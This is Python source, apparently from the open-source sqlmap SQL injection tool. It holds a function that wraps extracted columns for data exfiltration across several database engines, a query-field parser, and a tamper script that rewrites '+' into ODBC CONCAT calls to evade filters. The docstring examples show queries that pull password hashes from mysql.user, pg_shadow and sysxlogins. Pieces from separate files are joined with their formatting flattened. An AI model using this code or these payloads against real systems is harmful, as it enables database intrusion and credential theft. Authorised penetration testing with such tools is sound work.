def concatQuery(self, query, unpack=True): """ Take in input a query string and return its processed nulled, casted and concatenated query string. Examples: MySQL input: SELECT user, password FROM mysql.user MySQL output: CONCAT('mMvPxc',IFNULL(CAST(user AS CHAR(10000)), ' '),'nXlgnR',IFNULL(CAST(password AS CHAR(10000)), ' '),'YnCzLl') FROM mysql.user PostgreSQL input: SELECT usename, passwd FROM pg_shadow PostgreSQL output: 'HsYIBS'||COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'KTBfZp'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')||'LkhmuP' FROM pg_shadow Oracle input: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS' Oracle output: 'GdBRAo'||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'czEHOf'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')||'JVlYgS' FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS' Microsoft SQL Server input: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins Microsoft SQL Server output: 'QQMQJO'+ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'kAtlqH'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')+'lpEqoi' FROM master..sysxlogins @param query: query string to be processed @type query: C{str} @return: query string nulled, casted and concatenated @rtype: C{str} """ if unpack: concatenatedQuery = "" query = query.replace(", ", ',') fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr, fieldsExists = self.getFields( query) castedFields = self.nullCastConcatFields(fieldsToCastStr) concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1) else: return query if Backend.isDbms(DBMS.MYSQL): if fieldsExists: concatenatedQuery = concatenatedQuery.replace( "SELECT ", "CONCAT('%s'," % kb.chars.start, 1) concatenatedQuery += ",'%s')" % kb.chars.stop elif fieldsSelectCase: concatenatedQuery = concatenatedQuery.replace( "SELECT ", "CONCAT('%s'," % kb.chars.start, 1) concatenatedQuery += ",'%s')" % kb.chars.stop elif fieldsSelectFrom: _ = unArrayizeValue( zeroDepthSearch(concatenatedQuery, " FROM ")) concatenatedQuery = "%s,'%s')%s" % ( concatenatedQuery[:_].replace( "SELECT ", "CONCAT('%s'," % kb.chars.start, 1), kb.chars.stop, concatenatedQuery[_:]) elif fieldsSelect: concatenatedQuery = concatenatedQuery.replace( "SELECT ", "CONCAT('%s'," % kb.chars.start, 1) concatenatedQuery += ",'%s')" % kb.chars.stop elif fieldsNoSelect: concatenatedQuery = "CONCAT('%s',%s,'%s')" % ( kb.chars.start, concatenatedQuery, kb.chars.stop) elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD): if fieldsExists: concatenatedQuery = concatenatedQuery.replace( "SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery += "||'%s'" % kb.chars.stop elif fieldsSelectCase: concatenatedQuery = concatenatedQuery.replace( "SELECT ", "'%s'||(SELECT " % kb.chars.start, 1) concatenatedQuery += ")||'%s'" % kb.chars.stop elif fieldsSelectFrom: concatenatedQuery = concatenatedQuery.replace( "SELECT ", "'%s'||" % kb.chars.start, 1) _ = unArrayizeValue( zeroDepthSearch(concatenatedQuery, " FROM ")) concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:]) elif fieldsSelect: concatenatedQuery = concatenatedQuery.replace( "SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery += "||'%s'" % kb.chars.stop elif fieldsNoSelect: concatenatedQuery = "'%s'||%s||'%s'" % ( kb.chars.start, concatenatedQuery, kb.chars.stop) elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): if fieldsExists: concatenatedQuery = concatenatedQuery.replace( "SELECT ", "'%s'+" % kb.chars.start, 1) concatenatedQuery += "+'%s'" % kb.chars.stop elif fieldsSelectTop: topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1) concatenatedQuery = concatenatedQuery.replace( "SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, kb.chars.start), 1) concatenatedQuery = concatenatedQuery.replace( " FROM ", "+'%s' FROM " % kb.chars.stop, 1) elif fieldsSelectCase: concatenatedQuery = concatenatedQuery.replace( "SELECT ", "'%s'+" % kb.chars.start, 1) concatenatedQuery += "+'%s'" % kb.chars.stop elif fieldsSelectFrom: concatenatedQuery = concatenatedQuery.replace( "SELECT ", "'%s'+" % kb.chars.start, 1) _ = unArrayizeValue( zeroDepthSearch(concatenatedQuery, " FROM ")) concatenatedQuery = "%s+'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:]) elif fieldsSelect: concatenatedQuery = concatenatedQuery.replace( "SELECT ", "'%s'+" % kb.chars.start, 1) concatenatedQuery += "+'%s'" % kb.chars.stop elif fieldsNoSelect: concatenatedQuery = "'%s'+%s+'%s'" % ( kb.chars.start, concatenatedQuery, kb.chars.stop) elif Backend.isDbms(DBMS.ACCESS): if fieldsExists: concatenatedQuery = concatenatedQuery.replace( "SELECT ", "'%s'&" % kb.chars.start, 1) concatenatedQuery += "&'%s'" % kb.chars.stop elif fieldsSelectCase: concatenatedQuery = concatenatedQuery.replace( "SELECT ", "'%s'&(SELECT " % kb.chars.start, 1) concatenatedQuery += ")&'%s'" % kb.chars.stop elif fieldsSelectFrom: concatenatedQuery = concatenatedQuery.replace( "SELECT ", "'%s'&" % kb.chars.start, 1) _ = unArrayizeValue( zeroDepthSearch(concatenatedQuery, " FROM ")) concatenatedQuery = "%s&'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:]) elif fieldsSelect: concatenatedQuery = concatenatedQuery.replace( "SELECT ", "'%s'&" % kb.chars.start, 1) concatenatedQuery += "&'%s'" % kb.chars.stop elif fieldsNoSelect: concatenatedQuery = "'%s'&%s&'%s'" % ( kb.chars.start, concatenatedQuery, kb.chars.stop) else: warnMsg = "applying generic concatenation with double pipes ('||')" singleTimeWarnMessage(warnMsg) if fieldsExists: concatenatedQuery = concatenatedQuery.replace( "SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery += "||'%s'" % kb.chars.stop elif fieldsSelectCase: concatenatedQuery = concatenatedQuery.replace( "SELECT ", "'%s'||(SELECT " % kb.chars.start, 1) concatenatedQuery += ")||'%s'" % kb.chars.stop elif fieldsSelectFrom: concatenatedQuery = concatenatedQuery.replace( "SELECT ", "'%s'||" % kb.chars.start, 1) _ = unArrayizeValue( zeroDepthSearch(concatenatedQuery, " FROM ")) concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:]) elif fieldsSelect: concatenatedQuery = concatenatedQuery.replace( "SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery += "||'%s'" % kb.chars.stop elif fieldsNoSelect: concatenatedQuery = "'%s'||%s||'%s'" % ( kb.chars.start, concatenatedQuery, kb.chars.stop) return concatenatedQuery
def getFields(self, query): """ Take in input a query string and return its fields (columns) and more details. Example: Input: SELECT user, password FROM mysql.user Output: user,password @param query: query to be processed @type query: C{str} @return: query fields (columns) and more details @rtype: C{str} """ prefixRegex = r"(?:\s+(?:FIRST|SKIP)\s+\d+)*" fieldsSelectTop = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I) fieldsSelectRownum = re.search( r"\ASELECT\s+([^()]+?),\s*ROWNUM AS LIMIT FROM", query, re.I) fieldsSelectDistinct = re.search( r"\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I) fieldsSelectCase = re.search( r"\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I) fieldsSelectFrom = re.search( r"\ASELECT%s\s+(.+?)\s+FROM " % prefixRegex, query, re.I) fieldsExists = re.search(r"EXISTS\(([^)]*)\)\Z", query, re.I) fieldsSelect = re.search(r"\ASELECT%s\s+(.*)" % prefixRegex, query, re.I) fieldsSubstr = re.search(r"\A(SUBSTR|MID\()", query, re.I) fieldsMinMaxstr = re.search(r"(?:MIN|MAX)\(([^\(\)]+)\)", query, re.I) fieldsNoSelect = query _ = zeroDepthSearch(query, " FROM ") if not _: fieldsSelectFrom = None if fieldsSubstr: fieldsToCastStr = query elif fieldsMinMaxstr: fieldsToCastStr = fieldsMinMaxstr.groups()[0] elif fieldsExists: fieldsToCastStr = fieldsSelect.groups()[0] elif fieldsSelectTop: fieldsToCastStr = fieldsSelectTop.groups()[0] elif fieldsSelectRownum: fieldsToCastStr = fieldsSelectRownum.groups()[0] elif fieldsSelectDistinct: fieldsToCastStr = fieldsSelectDistinct.groups()[0] elif fieldsSelectCase: fieldsToCastStr = fieldsSelectCase.groups()[0] elif fieldsSelectFrom: fieldsToCastStr = query[:unArrayizeValue(_)] if _ else query fieldsToCastStr = re.sub(r"\ASELECT%s\s+" % prefixRegex, "", fieldsToCastStr) elif fieldsSelect: fieldsToCastStr = fieldsSelect.groups()[0] else: fieldsToCastStr = fieldsNoSelect # Function if re.search("\A\w+\(.*\)", fieldsToCastStr, re.I) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr: fieldsToCastList = [fieldsToCastStr] else: fieldsToCastList = splitFields(fieldsToCastStr) return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr, fieldsExists
def tamper(payload, **kwargs): """ Replaces plus ('+') character with ODBC function {fn CONCAT()} Tested against: * Microsoft SQL Server 2008 Requirements: * Microsoft SQL Server 2008+ Notes: * Useful in case ('+') character is filtered * https://msdn.microsoft.com/en-us/library/bb630290.aspx >>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL') 'SELECT {fn CONCAT({fn CONCAT(CHAR(113),CHAR(114))},CHAR(115))} FROM DUAL' >>> tamper('SELECT (CHAR(113)+CHAR(114)+CHAR(115)) FROM DUAL') 'SELECT {fn CONCAT({fn CONCAT(CHAR(113),CHAR(114))},CHAR(115))} FROM DUAL' """ retVal = payload if payload: while True: indexes = zeroDepthSearch(retVal, '+') if indexes: first, last = 0, 0 for i in xrange(1, len(indexes)): if ' ' in retVal[indexes[0]:indexes[i]]: break else: last = i start = retVal[:indexes[first]].rfind(' ') + 1 end = (retVal[indexes[last] + 1:].find(' ') + indexes[last] + 1) if ' ' in retVal[indexes[last] + 1:] else len(retVal) - 1 count = 0 chars = [char for char in retVal] for index in indexes[first:last + 1]: if count == 0: chars[index] = ',' else: chars[index] = '\x01' count += 1 retVal = "%s%s%s)}%s" % (retVal[:start], "{fn CONCAT(" * count, ''.join(chars)[start:end].replace('\x01', ")},"), retVal[end:]) else: match = re.search(r"\((CHAR\(\d+.+CHAR\(\d+\))\)", retVal) if match: part = match.group(0) indexes = set(zeroDepthSearch(match.group(1), '+')) if not indexes: break count = 0 chars = [char for char in part] for i in xrange(1, len(chars)): if i - 1 in indexes: if count == 0: chars[i] = ',' else: chars[i] = '\x01' count += 1 replacement = "%s%s}" % (("{fn CONCAT(" * count)[:-1], "".join(chars).replace('\x01', ")},")) retVal = retVal.replace(part, replacement) else: break return retVal